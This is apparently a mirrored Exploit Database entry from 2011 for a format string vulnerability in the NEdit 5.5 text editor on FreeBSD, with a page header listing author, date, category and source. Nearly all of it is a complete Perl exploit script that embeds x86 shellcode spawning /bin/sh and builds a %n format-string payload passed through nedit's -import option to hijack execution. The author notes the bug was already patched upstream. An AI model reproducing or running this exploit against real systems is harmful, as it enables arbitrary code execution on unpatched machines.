NEdit 5.5 – Format String

• Exploit Database
• 123 阅读

• 作者： Tosh
  日期： 2011-04-14
• 类别：

  • local
  平台：

  • bsd
• 来源：https://www.exploit-db.com/exploits/17169/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29

  # Exploit Title: Format string vulnerability in Nedit <= 5.5. # Date: 04/13/2011 # Author: Tosh (The bug was already patched when I&apos;d found the vuln) # Email: tosh@tuxfamily.org # Patch: http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch # Version: Nedit 5.5 # Tested on: FreeBSD 8.2-RELEASE # CVE: don&apos;t found     #!/usr/bin/perl -w   use strict;   my $exit_addr = 0x0815a86c;   my $sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50". "\x54\x53\xb0\x3b\x50\xcd\x80";   my (@payload) = ("./nedit", "-import", pack(&apos;L&apos;,$exit_addr).pack(&apos;L&apos;,$exit_addr+1).pack(&apos;L&apos;,$exit_addr+2).pack(&apos;L&apos;,$exit_addr+3).   "%1021\$.8x-"."%1\$127x%1021\$n%1\$083x%1022\$n%1\$212x%1023\$n%1\$256x%1024\$n" . $sc);   exec(@payload);